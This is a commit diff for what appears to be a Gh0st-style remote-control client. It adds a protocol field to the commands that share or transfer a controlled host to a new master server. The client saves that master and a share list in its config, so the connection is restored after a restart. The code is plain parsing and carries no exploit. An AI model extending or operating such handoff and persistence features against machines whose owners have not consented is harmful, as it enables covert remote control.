Feature: Add Shine/HELL protocol selection to share/transfer host

Add a dedicated ShareHostDlg with a "Use Shine protocol" checkbox (default
checked) so the operator can choose Shine (0) or HELL (1) when sharing or
transferring a host. The chosen protocol is appended to the wire payload as a
trailing colon field: "IP:PORT:0/1" for share and "IP:PORT:days:0/1" for
transfer.

The client parses the trailing field from COMMAND_SHARE and
COMMAND_ASSIGN_MASTER, applies it to new connections, and persists it so
auto-share/auto-transfer on restart keeps the same protocol. Old clients
ignore the extra field, and old/missing payloads fall back to -1 (baked-in
HELL), preserving compatibility with existing servers and share_list entries.

Co-Authored-By: deepseek-v4-pro
This commit is contained in:
yuanyuanxianganddeepseek-v4-pro committed 2026-09-11 16:28:37 +02:00
1 parent 42df128f62
commit e9d60e6e23
12 files changed
+223 -17

No files matched your search

+9 -2
View File
@@ -66,13 +66,15 @@ BOOL IsClientAppRunning(void* thisApp)
return S_CLIENT_NORMAL == This->g_bExit;
}
ClientApp* NewClientStartArg(const char* remoteAddr, IsRunning run, BOOL shared)
ClientApp* NewClientStartArg(const char* remoteAddr, IsRunning run, BOOL shared, int headerEnc)
{
auto v = StringToVector(remoteAddr, ':', 2);
if (v[0].empty() || v[1].empty())
return nullptr;
auto a = new ClientApp(g_MyApp.g_Connection, run, shared);
a->g_Connection->SetServer(v[0].c_str(), atoi(v[1].c_str()));
if (headerEnc == PROTOCOL_SHINE || headerEnc == PROTOCOL_HELL)
a->g_Connection->iHeaderEnc = headerEnc;
return a;
}
@@ -597,6 +599,9 @@ DWORD WINAPI StartClient(LPVOID lParam)
auto saved_ip = cfg.GetStr("settings", "master");
auto saved_port = cfg.GetInt("settings", "port");
settings.SetServer(saved_ip.c_str(), saved_port);
auto saved_proto = cfg.GetStr("settings", "master_proto");
if (saved_proto == "0" || saved_proto == "1")
settings.iHeaderEnc = atoi(saved_proto.c_str());
Mprintf("[StartClient] Client is assigned to %s:%d- %ds left.\n", saved_ip.c_str(), saved_port,
int(valid_to-now));
}
@@ -617,7 +622,9 @@ DWORD WINAPI StartClient(LPVOID lParam)
auto a = cfg.GetStr("settings", "share_list");
auto shareList = a.empty() ? std::vector<std::string>{} : StringToVector(a, '|');
for (int i = 0; i < shareList.size(); ++i) {
auto a = NewClientStartArg(shareList[i].c_str(), IsSharedRunning, TRUE);
auto v = StringToVector(shareList[i], ':', 3);
int proto = (v.size() >= 3 && (v[2] == "0" || v[2] == "1")) ? atoi(v[2].c_str()) : -1;
auto a = NewClientStartArg(shareList[i].c_str(), IsSharedRunning, TRUE, proto);
if (nullptr != a) CloseHandle(__CreateThread(0, 0, StartClientApp, a, 0, 0));
Mprintf("[StartClient] Client is shared to %s.\n", shareList[i].c_str());
}
+1 -1
View File
@@ -130,7 +130,7 @@ public:
}
};
ClientApp* NewClientStartArg(const char* remoteAddr, IsRunning run = IsClientAppRunning, BOOL shared=FALSE);
ClientApp* NewClientStartArg(const char* remoteAddr, IsRunning run = IsClientAppRunning, BOOL shared=FALSE, int headerEnc = -1);
// 启动核心线程,参数为:ClientApp
DWORD WINAPI StartClient(LPVOID lParam);
+14 -1
View File
@@ -1019,6 +1019,15 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
case COMMAND_SHARE:
case COMMAND_ASSIGN_MASTER:
if (ulLength > 2) {
// 解析末尾协议段(Shine=0 / HELL=1,旧命令无此段则 -1 沿用烘焙值)
int shareProto = -1;
{
auto pv = StringToVector((char*)szBuffer + 2, ':', 5);
if (szBuffer[1] == SHARE_TYPE_YAMA && pv.size() >= 3 && (pv[2] == "0" || pv[2] == "1"))
shareProto = atoi(pv[2].c_str());
else if (szBuffer[1] == SHARE_TYPE_YAMA_FOREVER && pv.size() >= 4 && (pv[3] == "0" || pv[3] == "1"))
shareProto = atoi(pv[3].c_str());
}
switch (szBuffer[1]) {
case SHARE_TYPE_YAMA_FOREVER: {
auto v = StringToVector((char*)szBuffer + 2, ':', 3);
@@ -1029,6 +1038,8 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
if (now <= valid_to) break; // Avoid assign again
m_cfg->SetStr("settings", "master", v[0]);
m_cfg->SetStr("settings", "port", v[1]);
if (shareProto == PROTOCOL_SHINE || shareProto == PROTOCOL_HELL)
m_cfg->SetStr("settings", "master_proto", std::to_string(shareProto));
float days = atof(v[2].c_str());
if (days > 0) {
auto valid_to = time(0) + days*86400;
@@ -1047,6 +1058,8 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
if (v[0].empty() || v[1].empty())
break;
auto share = v[0] + ":" + v[1];
if (shareProto == PROTOCOL_SHINE || shareProto == PROTOCOL_HELL)
share += ":" + std::to_string(shareProto);
auto list = m_cfg->GetStr("settings", "share_list");
auto shareList = list.empty() ? std::vector<std::string>{} : StringToVector(list, '|');
if (VectorContains(shareList, share)) break;
@@ -1054,7 +1067,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
m_cfg->SetStr("settings", "share_list", VectorJoin(shareList, '|'));
Mprintf("Share client to new master: %s\n", share.c_str());
}
auto a = NewClientStartArg((char*)szBuffer + 2, IsSharedRunning, TRUE);
auto a = NewClientStartArg((char*)szBuffer + 2, IsSharedRunning, TRUE, shareProto);
if (nullptr!=a) CloseHandle(__CreateThread(0, 0, StartClientApp, a, 0, 0));
break;
}